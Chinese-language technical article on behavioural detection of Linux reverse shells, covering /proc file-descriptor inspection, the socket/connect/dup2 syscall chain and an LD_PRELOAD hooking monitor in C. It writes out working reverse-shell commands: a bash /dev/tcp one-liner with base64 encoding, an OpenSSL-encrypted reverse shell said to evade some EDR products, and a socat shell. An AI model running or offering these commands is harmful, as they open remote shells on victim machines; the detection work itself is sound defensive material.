前言
在linux下的EDR产品相对较少,且相对没有那么成熟,但是个人刚好在研究接触这方面的知识,也顺便将一些知识作为输出。
话说回来,反弹shell,在渗透过程中都不陌生,常规的产品针对,默认的反弹shell
例如
sh -i >& /dev/tcp/10.10.10.10/9001 0>&1
L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85MDAxIDA+JjE=
不管用base64还是常规的其他编码,都能被识别,这是很正常的。
现在提到另一种,使用openssl进行加密的反弹shell,在测试中有几家的产品没有捕获,这是比较意外的,但是仔细想一想,本身ssl加密的情况,流量已经被加密了,捕获不到其实蛮正常的。
ssl加密环境
首先在攻击机
建立一个证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
建立一个监听端口
openssl s_server -quiet -key key.pem -cert cert.pem -port xxx
受害机执行
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s
反弹shell行为思考
反弹shell的监测也可以从网络层进行监测,但是文章标题都写了是行为分析,所以肯定只从行为上进行考虑。
要明白怎么检测其实很简单,反弹shell的操作,从rce或者是从本机上进行执行,都会产生一个终端shell进行执行,再到另一个终端上,所以反弹shell能得到的shell,不是一个真实存在的shell,是一个伪shell。伪终端的进程
这样的一个特点就是,伪终端是依赖于真实终端上的,所以我们能依靠这个特点查询反弹shell进程的操作
所以现在到验证阶段,我们可以通过命令
ps -ef | grep "bin/sh"
去查找相关的进程,然后涉及到另一个重要的思想,Linux下万物皆文件的思想
再通过
ls /proc/xxx/fd -alh
可以列出来文件的一些特性!从展现出来的进程验证了我们的猜想,反弹shell的管道,pipe是同一个,这是一个非常强的特征。
链路行为分析
不知道有没有想过一个问题,就是无论是c2工具,还是终端,在执行命令的时候,它的底层到底经历了什么。弄清楚底层能更全面的帮助我们建设产品。
我们举例
从whoami进行分析
whoami执行的时候
1. Shell 解析和查找命令
当用户在 Shell(如 Bash 或 Zsh)中输入 whoami
时,Shell 会按以下步骤解析和查找该命令:
-
命令解析:Shell 接收到输入的命令
whoami
,会判断其是否是内建命令(即直接由 Shell 提供的功能,如cd
)。 -
PATH 环境变量查找:若不是内建命令,Shell 会从
PATH
环境变量中定义的目录列表中,依次查找whoami
可执行文件的位置。
通常 whoami
位于 /usr/bin/whoami
,一旦找到,Shell 会通过系统调用将 whoami
程序加载到内存中执行。
2. 系统调用:创建新进程并加载程序
在找到 whoami
程序的可执行文件后,Shell 会通过 系统调用 创建一个新进程并加载程序:
-
fork() 系统调用:Shell 使用
fork()
系统调用复制自身进程,生成一个子进程。这是 UNIX/Linux 系统中创建新进程的常用方式,fork()
创建的子进程几乎完全继承父进程的环境。 -
exec() 系统调用:子进程创建后,Shell 使用
exec()
系统调用将子进程的代码替换为whoami
程序的代码。此时,子进程的地址空间被替换成whoami
程序的地址空间。
3. whoami
程序的执行流程
whoami
程序的主要功能是获取并显示当前用户的用户名。其底层实现通过 系统调用 获取用户 ID,然后将其转换为用户名并输出。
-
获取用户 ID (
UID
):whoami
程序首先调用getuid()
系统调用获取当前用户的用户 ID (UID)。 -
转换 UID 为用户名:接下来,
whoami
调用系统库(如 GNU C Library 中的getpwuid()
)通过 UID 查询用户名。这个查询过程会访问系统中的用户数据库(通常是/etc/passwd
文件),根据 UID 找到对应的用户名。 -
输出用户名:找到用户名后,
whoami
使用printf()
或puts()
等输出函数,将用户名显示到标准输出。
4. 内核处理 I/O 操作
当 whoami
调用 printf()
输出用户名时,底层 I/O 操作也依赖系统调用:
-
write() 系统调用:
printf()
库函数最终会调用write()
系统调用,将用户名字符串写入标准输出(通常是终端设备)。 - 终端设备驱动:内核通过文件系统和终端设备驱动,将数据传送至用户终端界面,完成输出。
5. whoami
进程退出
完成输出后,whoami
程序调用 exit()
函数以退出:
-
exit() 系统调用:
whoami
进程在执行完毕后,会调用exit()
系统调用通知内核结束进程。内核会释放whoami
占用的所有资源,并将其状态返回给父进程(即 Shell)。 - Shell 获取控制权:Shell 收到子进程的退出状态后,继续等待用户输入下一条命令
所以说输入的每一个命令,都是存在系统调用的,这就是它的底层
从反弹shell进行分析
无论是否需要加密,都会有几个强特征可以进行分析,下面进行举例
-
Socket 系统调用:Shell 使用
socket()
系统调用创建一个新的 TCP 套接字。 -
连接远程主机:然后调用
connect()
系统调用,将该套接字连接到 IP 端口。若连接成功,这个套接字将能与远程服务器的套接字进行数据交换。
I/O 重定向
接下来,Shell 解析并执行 >&
和 0>&1
以完成 I/O 重定向:
-
>&
表示将标准输出(文件描述符 1)和标准错误(文件描述符 2)重定向到指定目标,也就是重定向到该 TCP 套接字。 -
0>&1
将标准输入(文件描述符 0)也重定向到文件描述符 1,即 TCP 套接字。
具体流程如下:
-
重定向标准输出:Shell 使用
dup2()
系统调用,将标准输出的文件描述符(1)重定向到连接的 TCP 套接字。 -
重定向标准错误:Shell 通过
dup2()
再次将标准错误(2)也重定向到 TCP 套接字。 -
重定向标准输入:Shell 使用
dup2()
将标准输入(0)重定向到 TCP 套接字。
所以只要有反弹shell,就会存在socket(),connect(),dup2()的系统调用
LD_PRELOAD系统调用的监控
其实到这一步,跟传统的windows下的EDR设计很像,都是要进行hook,只不过我们要hook的是linux的系统调用。下面介绍一个linux的特别的东西LD_PRELOA,它可以优先加载自定义共享库实现对程序行为的动态控制,所以也可以用来进行监控,跟踪的操作目前采用这种方案的有腾某云。我们可以利用它来对上面的函数进行跟踪。但是LD_PRELOAD并不是完美的,存在的问题不少,但是这不是本文的重点,后面的文章会继续设计。
demo
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
// 声明原始函数指针
int (*original_socket)(int, int, int);
int (*original_connect)(int, const struct sockaddr *, socklen_t);
int (*original_dup2)(int oldfd, int newfd);
// 覆盖 socket() 函数
int socket(int domain, int type, int protocol) {
if (!original_socket) {
original_socket = dlsym(RTLD_NEXT, "socket");
}
printf("[monitor] socket() called with domain=%d, type=%d, protocol=%d\n", domain, type, protocol);
return original_socket(domain, type, protocol);
}
// 覆盖 connect() 函数
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) {
if (!original_connect) {
original_connect = dlsym(RTLD_NEXT, "connect");
}
char ip[INET_ADDRSTRLEN];
struct sockaddr_in *in_addr = (struct sockaddr_in *)addr;
inet_ntop(AF_INET, &in_addr->sin_addr, ip, sizeof(ip));
printf("[monitor] connect() called with sockfd=%d, ip=%s, port=%d\n", sockfd, ip, ntohs(in_addr->sin_port));
return original_connect(sockfd, addr, addrlen);
}
// 覆盖 dup2() 函数
int dup2(int oldfd, int newfd) {
if (!original_dup2) {
original_dup2 = dlsym(RTLD_NEXT, "dup2");
}
printf("[monitor] dup2() called with oldfd=%d, newfd=%d\n", oldfd, newfd);
return original_dup2(oldfd, newfd);
}
编译共享库
将上述代码保存为 monitor.c
,然后使用以下命令编译为共享库:
gcc -fPIC -shared -o monitor.so monitor.c -ldl
使用 LD_PRELOAD
加载库进行监控
假设我们要监控某个程序(如 nc
命令),可以使用 LD_PRELOAD
加载 monitor.so
进行运行:
LD_PRELOAD=./monitor.so nc ip port
在程序运行过程中,每当调用 socket()
、connect()
或 dup2()
时,都会输出相应的监控信息。
输出示例
当程序调用 socket()
、connect()
或 dup2()
时,可能会看到如下输出:
[monitor] socket() called with domain=2, type=1, protocol=0
[monitor] connect() called with sockfd=3, ip=192.168.1.10, port=80
[monitor] dup2() called with oldfd=1, newfd=2
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.6.20:4444